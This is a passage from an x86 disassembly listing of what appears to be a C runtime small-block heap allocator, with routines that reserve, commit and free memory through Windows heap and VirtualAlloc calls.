lea edi, [ecx+1]
mov [esi], edi
jnz short loc_410918
cmp ebx, dword_483414
jnz short loc_410918
mov ecx, [ebp+var_4]
cmp ecx, dword_48340C
jnz short loc_410918
and dword_483414, 0
loc_410918: ; CODE XREF: sub_41061C+2E0j
; sub_41061C+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_410920: ; CODE XREF: sub_41061C+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41061C endp
; =============== S U B R O U T I N E =======================================
sub_410925 proc near ; CODE XREF: sub_41061C+CCp
mov eax, dword_483418
mov ecx, dword_483408
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_410968
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_48341C
push edi
push dword_483424
call dword_41811C ; RtlReAllocateHeap
cmp eax, edi
jz short loc_4109B8
add dword_483408, 10h
mov dword_48341C, eax
mov eax, dword_483418
loc_410968: ; CODE XREF: sub_410925+11j
mov ecx, dword_48341C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_483424
lea esi, [ecx+eax*4]
call dword_418110 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_4109B8
push 4
push 2000h
push 100000h
push edi
call dword_418144 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_4109BC
push dword ptr [esi+10h]
push edi
push dword_483424
call dword_418114 ; RtlFreeHeap
loc_4109B8: ; CODE XREF: sub_410925+30j
; sub_410925+67j
xor eax, eax
jmp short loc_4109D3
; ---------------------------------------------------------------------------
loc_4109BC: ; CODE XREF: sub_410925+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_483418
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_4109D3: ; CODE XREF: sub_410925+95j
pop edi
pop esi
retn
sub_410925 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109D6 proc near ; CODE XREF: sub_41061C+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_4109E8: ; CODE XREF: sub_4109D6+19j
test eax, eax
jl short loc_4109F1
shl eax, 1
inc ebx
jmp short loc_4109E8
; ---------------------------------------------------------------------------
loc_4109F1: ; CODE XREF: sub_4109D6+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_410A06: ; CODE XREF: sub_4109D6+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_410A06
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_418144 ; VirtualAlloc
test eax, eax
jnz short loc_410A39
or eax, 0FFFFFFFFh
jmp loc_410ACC
; ---------------------------------------------------------------------------
loc_410A39: ; CODE XREF: sub_4109D6+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_410A7F
lea eax, [edi+10h]
loc_410A46: ; CODE XREF: sub_4109D6+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_410A46
loc_410A7F: ; CODE XREF: sub_4109D6+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_410ABC
or [eax+4], edi
loc_410ABC: ; CODE XREF: sub_4109D6+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_410ACC: ; CODE XREF: sub_4109D6+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_4109D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410AD1 proc near ; CODE XREF: sub_40DB08+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_410C7F
test bl, 1
jnz loc_410C78
add ebx, ecx
cmp esi, ebx
jg loc_410C78
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_410B48
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_410B48: ; CODE XREF: sub_410AD1+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_410B98
cmp ecx, 20h
jnb short loc_410B74
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_410B98
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_410B98
; ---------------------------------------------------------------------------
loc_410B74: ; CODE XREF: sub_410AD1+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_410B98
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_410B98: ; CODE XREF: sub_410AD1+7Dj
; sub_410AD1+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_410C66
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_410BD2
push 3Fh
pop edi
loc_410BD2: ; CODE XREF: sub_410AD1+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_410C54
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_410C2B
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_410C1E
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_410C1E: ; CODE XREF: sub_410AD1+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_410C50
; ---------------------------------------------------------------------------
loc_410C2B: ; CODE XREF: sub_410AD1+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_410C41
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_410C41: ; CODE XREF: sub_410AD1+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_410C50: ; CODE XREF: sub_410AD1+158j
shr edx, cl
or [eax], edx
loc_410C54: ; CODE XREF: sub_410AD1+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_410C69
; ---------------------------------------------------------------------------
loc_410C66: ; CODE XREF: sub_410AD1+E5j
mov edx, [ebp+arg_4]
loc_410C69: ; CODE XREF: sub_410AD1+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_410DBF
; ---------------------------------------------------------------------------
loc_410C78: ; CODE XREF: sub_410AD1+52j
; sub_410AD1+5Cj
xor eax, eax
jmp loc_410DC2
; ---------------------------------------------------------------------------
loc_410C7F: ; CODE XREF: sub_410AD1+49j
jge loc_410DBF
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_410CAA
push 3Fh
pop esi
loc_410CAA: ; CODE XREF: sub_410AD1+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_410D39
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_410CC3
push 3Fh
pop esi
loc_410CC3: ; CODE XREF: sub_410AD1+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_410D12
cmp esi, 20h
jnb short loc_410CEE
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_410D0F
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_410D0F
; ---------------------------------------------------------------------------
loc_410CEE: ; CODE XREF: sub_410AD1+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_410D0F
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_410D0F: ; CODE XREF: sub_410AD1+214j
; sub_410AD1+21Bj ...
mov ebx, [ebp+arg_4]
loc_410D12: ; CODE XREF: sub_410AD1+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_410D39
push 3Fh
pop esi
loc_410D39: ; CODE XREF: sub_410AD1+1DDj
; sub_410AD1+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_410DB6
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_410D8D
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_410D80
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_410D80: ; CODE XREF: sub_410AD1+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_410DB2
; ---------------------------------------------------------------------------
loc_410D8D: ; CODE XREF: sub_410AD1+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_410DA3
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_410DA3: ; CODE XREF: sub_410AD1+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_410DB2: ; CODE XREF: sub_410AD1+2BAj
shr edx, cl
or [eax], edx
loc_410DB6: ; CODE XREF: sub_410AD1+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_410DBF: ; CODE XREF: sub_410AD1+1A2j
; sub_410AD1:loc_410C7Fj
push 1
pop eax
loc_410DC2: ; CODE XREF: sub_410AD1+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_410AD1 endp
; =============== S U B R O U T I N E =======================================
sub_410DC7 proc near ; CODE XREF: sub_410223+41p
; sub_4110BF:loc_41128Ep
cmp dword_41FCA0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_410DDB
mov esi, offset off_41FC90
jmp short loc_410DF8
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_410DC7+Bj
push 2020h
push 0
push dword_483424
call dword_418110 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_410F04
loc_410DF8: ; CODE XREF: sub_410DC7+12j
mov ebp, dword_418144
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_410EED
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_410EDF
mov eax, offset off_41FC90
cmp esi, eax
jnz short loc_410E57
cmp off_41FC90, 0
jnz short loc_410E47
mov off_41FC90, eax
loc_410E47: ; CODE XREF: sub_410DC7+79j
cmp off_41FC94, 0
jnz short loc_410E6C
mov off_41FC94, eax
jmp short loc_410E6C
; ---------------------------------------------------------------------------
loc_410E57: ; CODE XREF: sub_410DC7+70j
mov [esi], eax
mov eax, off_41FC94
mov [esi+4], eax
mov off_41FC94, esi
mov eax, [esi+4]
mov [eax], esi
loc_410E6C: ; CODE XREF: sub_410DC7+87j
; sub_410DC7+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_410E8E: ; CODE XREF: sub_410DC7+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_410E8E
push ebx
push 0
push edi
call sub_40CC40
add esp, 0Ch
loc_410EB7: ; CODE XREF: sub_410DC7+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_410EDB
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_410EB7
; ---------------------------------------------------------------------------
loc_410EDB: ; CODE XREF: sub_410DC7+F7j
mov eax, esi
jmp short loc_410F06
; ---------------------------------------------------------------------------
loc_410EDF: ; CODE XREF: sub_410DC7+63j
push 8000h
push 0
push edi
call dword_418140 ; VirtualFree
loc_410EED: ; CODE XREF: sub_410DC7+4Bj
cmp esi, offset off_41FC90
jz short loc_410F04
push esi
push 0
push dword_483424
call dword_418114 ; RtlFreeHeap
loc_410F04: ; CODE XREF: sub_410DC7+2Bj
; sub_410DC7+12Cj
xor eax, eax
loc_410F06: ; CODE XREF: sub_410DC7+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_410DC7 endp
; =============== S U B R O U T I N E =======================================
sub_410F0B proc near ; CODE XREF: sub_410F61+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_418140 ; VirtualFree
cmp off_421CB0, esi
jnz short loc_410F30
mov eax, [esi+4]
mov off_421CB0, eax
loc_410F30: ; CODE XREF: sub_410F0B+1Bj
cmp esi, offset off_41FC90
jz short loc_410F58
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_483424
call dword_418114 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_410F58: ; CODE XREF: sub_410F0B+2Bj
or dword_41FCA0, 0FFFFFFFFh
pop esi
retn
sub_410F0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F61 proc near ; CODE XREF: sub_41107A+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_41FC94
push edi
loc_410F6E: ; CODE XREF: sub_410F61+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41100C
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_410F87: ; CODE XREF: sub_410F61+72j
cmp dword ptr [edi], 0F0h
jnz short loc_410FC8
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_418140 ; VirtualFree
test eax, eax
jz short loc_410FC8
or dword ptr [edi], 0FFFFFFFFh
dec dword_481E1C
mov eax, [esi+0Ch]
test eax, eax
jz short loc_410FBD
cmp eax, edi
jbe short loc_410FC0
loc_410FBD: ; CODE XREF: sub_410F61+56j
mov [esi+0Ch], edi
loc_410FC0: ; CODE XREF: sub_410F61+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_410FD5
loc_410FC8: ; CODE XREF: sub_410F61+2Cj
; sub_410F61+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_410F87
loc_410FD5: ; CODE XREF: sub_410F61+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41100C
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41100C
push 1
lea eax, [ecx+20h]
pop edx
loc_410FEC: ; CODE XREF: sub_410F61+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_410FFD
inc edx
add eax, 8
cmp edx, 400h
jl short loc_410FEC
loc_410FFD: ; CODE XREF: sub_410F61+8Ej
cmp edx, 400h
jnz short loc_41100C
push ecx
call sub_410F0B
pop ecx
loc_41100C: ; CODE XREF: sub_410F61+11j
; sub_410F61+7Dj ...
cmp esi, off_41FC94
jz short loc_41101E
cmp [ebp+arg_0], 0
jg loc_410F6E
loc_41101E: ; CODE XREF: sub_410F61+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_410F61 endp
; =============== S U B R O U T I N E =======================================
sub_411023 proc near ; CODE XREF: sub_40CD81+3Ap
; sub_40DB08+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_41FC90
push esi
mov ecx, edx
loc_41102F: ; CODE XREF: sub_411023+1Cj
cmp eax, [ecx+10h]
jbe short loc_411039
cmp eax, [ecx+14h]
jb short loc_411041
loc_411039: ; CODE XREF: sub_411023+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_411076
jmp short loc_41102F
; ---------------------------------------------------------------------------
loc_411041: ; CODE XREF: sub_411023+14j
test al, 0Fh
jnz short loc_411076
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_411076
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_411076: ; CODE XREF: sub_411023+1Aj
; sub_411023+20j ...
xor eax, eax
pop esi
retn
sub_411023 endp
; =============== S U B R O U T I N E =======================================
sub_41107A proc near ; CODE XREF: sub_40CD81+4Dp
; sub_40DB08+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_4110BE
inc dword_481E1C
cmp dword_481E1C, 20h
jnz short locret_4110BE
push 10h
call sub_410F61
pop ecx
locret_4110BE: ; CODE XREF: sub_41107A+2Bj
; sub_41107A+3Aj
retn
sub_41107A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110BF proc near ; CODE XREF: sub_40CD0D+4Ap
; sub_40DB08+1ACp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_421CB0
push edi
loc_4110CD: ; CODE XREF: sub_4110BF+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_411178
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_411132
loc_4110F8: ; CODE XREF: sub_4110BF+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41111B
cmp [edi+4], ebx
jbe short loc_41111B
push ebx
push ecx
push eax
call sub_4112C7
add esp, 0Ch
test eax, eax
jnz short loc_41118A
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41111B: ; CODE XREF: sub_4110BF+40j
; sub_4110BF+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_4110F8
jmp short loc_411135
; ---------------------------------------------------------------------------
loc_411132: ; CODE XREF: sub_4110BF+37j
mov ebx, [ebp+arg_0]
loc_411135: ; CODE XREF: sub_4110BF+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41117B
loc_411148: ; CODE XREF: sub_4110BF+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_411167
cmp [edi+4], ebx
jbe short loc_411167
push ebx
push eax
push [ebp+var_4]
call sub_4112C7
add esp, 0Ch
test eax, eax
jnz short loc_41118A
mov [edi+4], ebx
loc_411167: ; CODE XREF: sub_4110BF+8Dj
; sub_4110BF+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_411148
jmp short loc_41117B
; ---------------------------------------------------------------------------
loc_411178: ; CODE XREF: sub_4110BF+14j
mov ebx, [ebp+arg_0]
loc_41117B: ; CODE XREF: sub_4110BF+87j
; sub_4110BF+B7j
mov esi, [esi]
cmp esi, off_421CB0
jz short loc_41119A
jmp loc_4110CD
; ---------------------------------------------------------------------------
loc_41118A: ; CODE XREF: sub_4110BF+54j
; sub_4110BF+A3j
mov off_421CB0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_4112C2
; ---------------------------------------------------------------------------
loc_41119A: ; CODE XREF: sub_4110BF+C4j
mov eax, offset off_41FC90
mov edi, eax
loc_4111A1: ; CODE XREF: sub_4110BF+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_4111AD
cmp dword ptr [edi+0Ch], 0
jnz short loc_4111B9
loc_4111AD: ; CODE XREF: sub_4110BF+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41128E
jmp short loc_4111A1
; ---------------------------------------------------------------------------
loc_4111B9: ; CODE XREF: sub_4110BF+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_4111E8
loc_4111D7: ; CODE XREF: sub_4110BF+127j
cmp [ebp+var_4], 10h
jge short loc_4111E8
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4111D7
loc_4111E8: ; CODE XREF: sub_4110BF+116j
; sub_4110BF+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_418144 ; VirtualAlloc
cmp eax, esi
jnz loc_4112C0
push 0
push [ebp+var_8]
push esi
call sub_40CC40
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41124F
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_411225: ; CODE XREF: sub_4110BF+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_411225
loc_41124F: ; CODE XREF: sub_4110BF+15Ej
mov off_421CB0, edi
lea eax, [edi+2018h]
loc_41125B: ; CODE XREF: sub_4110BF+1A8j
cmp ecx, eax
jnb short loc_41126B
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_411269
add ecx, 8
jmp short loc_41125B
; ---------------------------------------------------------------------------
loc_411269: ; CODE XREF: sub_4110BF+1A3j
cmp ecx, eax
loc_41126B: ; CODE XREF: sub_4110BF+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_4112C2
; ---------------------------------------------------------------------------
loc_41128E: ; CODE XREF: sub_4110BF+F2j
call sub_410DC7
test eax, eax
jz short loc_4112C0
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_421CB0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_4112C2
; ---------------------------------------------------------------------------
loc_4112C0: ; CODE XREF: sub_4110BF+143j
; sub_4110BF+1D6j
xor eax, eax
loc_4112C2: ; CODE XREF: sub_4110BF+D6j
; sub_4110BF+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4112C7 proc near ; CODE XREF: sub_4110BF+4Ap
; sub_4110BF+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41130C
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_4112FB
add [ecx], edx
sub [ecx+4], edx
jmp short loc_411304
; ---------------------------------------------------------------------------
loc_4112FB: ; CODE XREF: sub_4112C7+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_411304: ; CODE XREF: sub_4112C7+32j
lea eax, [edi+8]
jmp loc_4113DA
; ---------------------------------------------------------------------------
loc_41130C: ; CODE XREF: sub_4112C7+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_411315
mov eax, esi
loc_411315: ; CODE XREF: sub_4112C7+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41135F
loc_41131C: ; CODE XREF: sub_4112C7+96j
mov bl, [eax]
test bl, bl
jnz short loc_411352
push 1
lea ebx, [eax+1]
pop esi
loc_411328: ; CODE XREF: sub_4112C7+68j
cmp byte ptr [ebx], 0
jnz short loc_411331
inc ebx
inc esi
jmp short loc_411328
; ---------------------------------------------------------------------------
loc_411331: ; CODE XREF: sub_4112C7+64j
cmp esi, edx
jnb short loc_411383
cmp eax, [ebp+var_4]
jnz short loc_41133F
mov [ecx+4], esi
jmp short loc_41134B
; ---------------------------------------------------------------------------
loc_41133F: ; CODE XREF: sub_4112C7+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_4113E4
loc_41134B: ; CODE XREF: sub_4112C7+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_411357
; ---------------------------------------------------------------------------
loc_411352: ; CODE XREF: sub_4112C7+59j
movzx esi, bl
add eax, esi
loc_411357: ; CODE XREF: sub_4112C7+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41131C
loc_41135F: ; CODE XREF: sub_4112C7+53j
lea esi, [ecx+8]
loc_411362: ; CODE XREF: sub_4112C7+EBj
; sub_4112C7+F2j
cmp esi, edi
jnb short loc_4113E4
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_4113E4
mov al, [esi]
test al, al
jnz short loc_4113B4
push 1
lea ebx, [esi+1]
pop eax
loc_41137A: ; CODE XREF: sub_4112C7+BAj
cmp byte ptr [ebx], 0
jnz short loc_4113A4
inc ebx
inc eax
jmp short loc_41137A
; ---------------------------------------------------------------------------
loc_411383: ; CODE XREF: sub_4112C7+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_411394
sub esi, edx
mov [ecx], ebx
